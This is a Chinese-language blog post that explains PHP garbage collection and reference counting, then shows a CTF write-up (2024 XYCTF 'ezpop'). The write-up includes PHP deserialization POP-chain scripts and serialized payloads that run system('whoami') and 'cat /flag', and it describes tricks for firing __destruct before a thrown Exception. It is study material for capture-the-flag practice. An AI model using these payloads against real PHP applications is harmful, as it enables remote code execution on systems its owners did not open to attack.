My blog

详谈PHP垃圾回收机制

2024/04/07

一、PHP中GC介绍

Gc,全称Garbage collection,即垃圾回收机制
在PHP中,是使用==引用计数==和==回收周期==来自动管理内存对象的,当一个对象被设置为NULL,或者没有任何指针指向时,他就会变成垃圾,被GC机制回收掉,这里其实就可以理解为当一个对象没有被引用时,也就是基本类型(字符串,整形等等),被引用也就是一个对象(Object),在这可以理解为一个对象没有被引用时就会被GC机制回收
先引入一个函数xdebug_debug_zval,该函数用以查看变量容器的内容:

1
2
3
<?php  
$a="Athur";
xdebug_debug_zval("a");

如下图:

有两个参数,一个refcount,一个is_ref..
在PHP的CG机制当中,当程序结束时refcount减一,如果refcount-1=0的话,那么就会将这个变量销毁

引用计数

首先我们要知道,PHP 变量都是存储在称为“zval”的容器中。zval 容器除了变量的类型和值之外,还包含两个额外的信息位。第一个是“is_ref”,是布尔值,表示变量是否被引用,值为1为真,0为否。通过这个位,PHP 引擎就知道如何区分普通变量和引用。由于 PHP 允许用户自定义引用,通过 & 运算符创建引用,zval 容器还有内部引用计数机制来优化内存使用。第二个是“refcount”,表示有多少个变量名(也称为符号)指向这个 zval 容器。所有符号都存储在一个符号表中,每个作用域都有一个符号表。主脚本(即通过浏览器请求的脚本)有一个作用域,每个函数或方法也有一个作用域。
例如在上面的例子中可以看到recount、is_ref两个变量,recount表示的是指向变量a容器的变量个数,is_ref是boolean类型的,表示该变量是否被引用
回到上述例子,在上述例子中定义的是一个字符串类型的变量,因此is_ref==0,因为并没有被引用,但是我们如果修改一下代码,如下:

1
2
3
4
5
<?php  
$a="Athur";
xdebug_debug_zval("a");
$b=&$a;
xdebug_debug_zval("a");

结果如下:

可以看到is_ref为1,代表被引用了,也就是true,refcount为2,符合我们上述所说的规则,

那假如是数组又会发生什么呢?

1
2
3
4
5
6
<?php
$a="Athur";
$arr=array(0=>"test",1=>&$a);
xdebug_debug_zval("a");
xdebug_debug_zval("arr");|
?>

结果如下图:


数组中唯一的区别就是它还把内部的元素也,那假如我们再debug之前把变量销毁了呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  
$a="Athur";
$arr=array(0=>"test",1=>&$a);
unset($a);
xdebug_debug_zval("a");
xdebug_debug_zval("arr");
//
<?php
$a="Athur";
unset($a);
$arr=array(0=>"test",1=>&$a);
xdebug_debug_zval("a");
xdebug_debug_zval("arr");

两个不同的码导致了不同的结果:

第二种结果虽然结果为空,但是refcount还是不会为1,也就是不会被销毁,因为它在销毁了$a后又将$a进行了引用,此时相当于引用一个空对象,第一种则会被销毁,因为它时实打实销毁完后没有再进行引用的操作了

PHP GC与反序列化

首先我们引入一个正常的Demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php  
class gc{
public $num;
public function __construct($num)
{
$this->num=$num;
echo "construct(".$num.")"."\n";
}
public function __destruct()
{
echo "destruct(".$this->num.")"."\n";
}
}
$a=new gc(1);
$b=new gc(2);
$c=new gc(3);

可以看到构造函数创建顺序和销毁顺序都符合我们的预想和规则,在这里用zval函数去看看情况:

可以看到refcount为1,所以在程序结束时候销毁了,假如我们不把实例化对象赋给$a,直接new一个gc类会发生什么?

发现在construct后1号的析构方法提前触发了,因为这个对象没进行赋值,所以根本不存在引用,因此原地销毁
由此可知,如果一个对象没有及时的进行赋值,那么php就会为了节省内存直接将其原地销毁

绕过Exception异常

这是这个gc回收机制最常出现的地方,在此之前我们继续分析一下上述例子,我们将代码改为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php  
class gc{
public $num;
public function __construct($num)
{
$this->num=$num;
echo "construct(".$num.")"."\n";
}
public function __destruct()
{
echo "destruct(".$this->num.")"."\n";
}
}
$arr=array(0=>new gc(1),1=>NULL);//将gc的1号实例化对象赋给$arr的第0号元素,
//$arr[0]=$arr[1];
xdebug_debug_zval('arr');
$b=new gc(2);
$c=new gc(3);

输出结果:

很正常的输出结果,假如把注释取消,这样的话0就指向了NULL,会发生什么?

果然直接原地销毁,提前触发了destruct,我们就可以利用这一种提前触发的方法去绕过Exception:
例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php  
highlight_file(__FILE__);
error_reporting(0);
class gc0{
public $num;
public function __destruct(){
echo $this->num."hello __destruct";
}
}
class gc1{
public $string;
public function __toString() {
echo "hello __toString";
$this->string->flag();
return 'useless';
}
}
class gc2{
public $cmd;
public function flag(){
echo "hello __flag()";
eval($this->cmd);
}
}
$a=unserialize($_GET['code']);
throw new Exception("Garbage collection");
?>

按照平常很正常的pop链,顺序如下:
gc0::__destruct->gc1::__tostring->gc2::flag()

pop链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php  
class gc0{
public $num;
}
class gc1{
public $string;
}
class gc2{
public $cmd='system("whoami")';
}
$a=new gc0;
$b=new gc1;
$c=new gc2;
$a->num=$b;
$b->string=$c;
echo serialize($a);

放入我们生成的反序列化字符串,本来GC默认在所有程序都结束完毕后才执行,但是在所有代码执行前插入了一条GC语句导致提前触发没收(回收)了我们的反序列化的对象,因为我们要触发的目标魔术方法一般是destruct,我们如果乖乖的让我们的反序列化后的字符串乖乖落到这一句提前回收的语句手里,那我们什么都得不到,因为这里相当直接咔嚓掉了
那我们怎么做呢,既然防守方想要提前冒出来抢我们的劫,我们必须提前做出行动避免吧,那我们干脆在提前GC语句前将其直接更提前销毁,这样操作的主动权就又落到我们手里了,触发了destruct,大概顺序如下
1、程序
2、我们自己主动销毁
3、提前的GC
4、原本的GC
是不是提前触发了destruct?这样的话就得等到所有魔术方法触发完了才会轮到提前的GC,但此时已晚~
而提前触发析构函数的操作的原理,如上所述,在PHP语言中,即使一个对象被实例化了,如果没有被赋给某个变量,也就不存在引用,就会原地销毁,因此我们只需要使用数组变量,元素0等于它,元素1等于NULL,正常生成字符串,此时我们手动将这个数组元素的对应键名改为1,相当于让它等于NULL了

又或者我们正常生成字符串,然后将其结构破坏,或者利用对键名大小写不敏感,改改大小写,就能提前触发
我们修改pop:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php  
class gc0{
public $num;
}
class gc1{
public $string;
}
class gc2{
public $cmd='system("whoami");';
}
$a=new gc0;
$b=new gc1;
$c=new gc2;
$a->num=$b;
$b->string=$c;
$arr=array(0=>$a,1=>NULL); //挑一个你不爽的,把他的结构破坏掉,使他等于NULL
echo serialize($arr);

得到结果a:2:{i:0;O:3:"gc0":1:{s:3:"num";O:3:"gc1":1:{s:6:"string";O:3:"gc2":1:{s:3:"cmd";s:17:"system("whoami");";}}}i:1;N;}这时候我们把键名1改为0,也就是修
改结果为a:2:{i:0;O:3:"gc0":1:{s:3:"num";O:3:"gc1":1:{s:6:"string";O:3:"gc2":1:{s:3:"cmd";s:17:"system("whoami");";}}}i:0;N;}
成功执行

例题

题目名称 【2024XYCTF】ezpop| 题目状态 SOLVED| working : Athur

开始直接给源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php 
error_reporting(0);
highlight_file(__FILE__);

class AAA
{
public $s;
public $a;
public function __toString()
{
echo "you get 2 A <br>";
$p = $this->a;
return $this->s->$p;
}
}

class BBB
{
public $c;
public $d;
public function __get($name)
{
echo "you get 2 B <br>";
$a=$_POST['a'];
$b=$_POST;
$c=$this->c;
$d=$this->d;
if (isset($b['a'])) {
unset($b['a']);
}
call_user_func($a,$b)($c)($d);
}
}

class CCC
{
public $c;

public function __destruct()
{
echo "you get 2 C <br>";
echo $this->c;
}
}


if(isset($_GET['xy'])) {
$a = unserialize($_GET['xy']);
throw new Exception("noooooob!!!");
}

一、思路的理清

看到是反序列化,我们来理清poc链:

1
2
3
4
5
public function __destruct() 
{
echo "you get 2 C <br>";
echo $this->c;
}

看到destruct,找到了入口,我们就以destruct开始跟进,可以看到这个方法为对象调用了c成员属性,但是又将对象当成字符串echo了,这里会触发tostring方法

我们持续跟进:

1
2
3
4
5
6
public function __toString() 
{
echo "you get 2 A <br>";
$p = $this->a;
return $this->s->$p;
}

可以看到在最后的return语句,为s属性调用了一个并不存在的成员属性$p,这里会触发get方法

继续跟进:

1
2
3
4
5
6
7
8
9
10
11
12
public function __get($name) 
{
echo "you get 2 B <br>";
$a=$_POST['a'];
$b=$_POST;
$c=$this->c;
$d=$this->d;
if (isset($b['a'])) {
unset($b['a']);
}
call_user_func($a,$b)($c)($d);
}

这里就比较复杂了,首先我们基本可以确定这里是终点

没有看到eval,include等危险的函数,但是有一个call_user_func(),而且语法很奇怪,正常语法是没有后面两个括号的,查询后得知这个函数主要是返回输入的第一个参数,

这里诡异的后面放两个括号,且都可以控制他们的变量的值,很有可能是命令的一个拼接。

于是我们基本了解了整体的思路:

1、构造poc,依次触发魔术方法

2、弄清get方法的内部逻辑

二、初步poc链的构造

初步poc链如下:

1
2
3
4
$C=new CCC();      //实例化destruct方法所在的类,作为入口
$C->c=new AAA(); //将CCC类的c方法作为AAA类的实例化对象,这样就能触发tostring
$C->c->a='$a'; //为此时AAA类的实例化对象c赋予a的成员属性,
$C->c->s=new BBB();//将AAA类的另一个成员属性与BBB类实例化,这样tostring就能触发BBB中的get方法

三、poc链的进一步构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class BBB 
{
public $c;
public $d;
public function __get($name)
{
echo "you get 2 B <br>";
$a=$_POST['a'];
$b=$_POST;
$c=$this->c;
$d=$this->d;
if (isset($b['a'])) {
unset($b['a']);
}
call_user_func($a,$b)($c)($d);
}
}

首先有了上面对call_user_func函数的了解和猜测,我猜测他是命令执行的一个拼接,那我接下来就可以尝试如何输入,输入哪些能使得 call_user_func($a,$b)($c)($d);变成我想要的命令去执行

$a接受post数组中a元素的值

$b就是整个$_POST数组

而call_user_func()接受$a,$b,原理是call_user_func()将第一个参数作为函数名,后面的所有参数作为这一回调函数的参数,假设$a=’eval’,$b=’echo lk’,那么call_user_func()执行后就会变成eval(echo lk;);

言下之意,我们又可以控制$a,$b的值,使call_user_func()执行后变成我们想要的函数

这里介绍几个函数:

current():

current() 函数返回数组中的当前元素的值。在未进行指针操作时,current()默认返回数组的第一个元素

strrev() :

strrev() 函数将接受到的字符串倒序输出,具有输出字符串的能力

tips:这里并不一定要是strrev()函数,只要这个函数具有输出字符串的能力就能满足我们的要求

我们肯定不能让$a,$b直接赋我们要执行的命令,因为后面还有两个变量等着拼接呢,所以我们选择将我们的目标命令放在后面,

目标命令system(cat+/flag) 所以我们利用以上的函数:

call_user_func($a,$b)($c)($d)变为了

current(strrev(metsys))(cat+/flag);等价于system(‘cat+/flag’);

所以我们就能进行poc的进一步构造了

1
2
3
4
5
6
7
$C=new CCC();
$C->c=new AAA();
$C->c->a='$a';
$C->c->s=new BBB();
$C->c->s->c='metsys';
$C->c->s->d='cat+/flag';
echo serialize($C);

但是这里有个地方被忽略了:

1
2
3
if (isset($b['a'])) { 
unset($b['a']);
}

这段代码会将post数组中a元素的值删去,但是它的特性是当数组中有多个同元素但不同值的情况时,只会删除第一个匹配的元素,因此我们把我们想要的命令以同一个元素名放在后面就能避免被删除,post数组情况如下:

$b=$_POST={‘a’=>call_user_func,’c’=>’sttrev’,’a’=>’current’}

当unset在处理时,将第一个删去,后面的就不再处理

而$a和$b都与post数组相关,因此我们要用bp以post传入

我们打开bp将其发送到Repeater,改变请求方法,将1号替死鬼a,2号a,c的值以post报文的形式传入:

如图:

四、源码主干部分的考虑

但是仍然得不到flag,很明显类之间的事已经处理完也正常回显了,那只可能是poc链以外的代码没考虑

果不其然有一处没考虑:

1
throw new Exception("noooooob!!!"); 

这个什么意思呢?大致意思就是只要你的反序列化结果在执行流程下遇到了它,他就会报错并提前回收你的反序列化对象

这个throw就是GC回收(垃圾回收机制),这里需要绕过它。

首先我们需要知道:

在php中,当对象被销毁时会自动调用__destruct()方法,但如果程序报错或者抛出异常,就不会触发该魔术方法。

当一个类创建之后它会自己消失,而 __destruct() 魔术方法的触发条件就是一个类被销毁时触发,而throw那个函数就是回收了自动销毁的类,导致destruct检测不到有东西销毁,从而也就导致无法触发destruct函数。

而我们的目的就是为了触发destruct方法,这反而阻碍了我们

我们可以通过提前触发垃圾回收机制来抛出异常,从而绕过GC回收,唤醒__destruct()魔术方法。

触发垃圾回收机制的方法有:(本质即使对象引用计数归零)

一、利用“PHP对类名的大小写不敏感”,例如POST提交参数wwwwwwwwwwd

二、利用破坏反序列化结构,这个需要记住即可,例如POST提交参数O:7:”ctfshow”:2:{ctfshow}

我们利用上述方法绕过,成功得到flag:

五、总结:

非常经典且考点全面的反序列化题,建议反复咀嚼,其思路和构造方式与细节值得一学

CATALOG
  1. 1. 一、PHP中GC介绍
  2. 2. 引用计数
  3. 3. PHP GC与反序列化
    1. 3.1. 绕过Exception异常
  4. 4. 例题
    1. 4.0.1. 题目名称 【2024XYCTF】ezpop| 题目状态 SOLVED| working : Athur
      1. 4.0.1.1. 一、思路的理清
      2. 4.0.1.2. 二、初步poc链的构造
      3. 4.0.1.3. 三、poc链的进一步构造
      4. 4.0.1.4. 四、源码主干部分的考虑
      5. 4.0.1.5. 五、总结: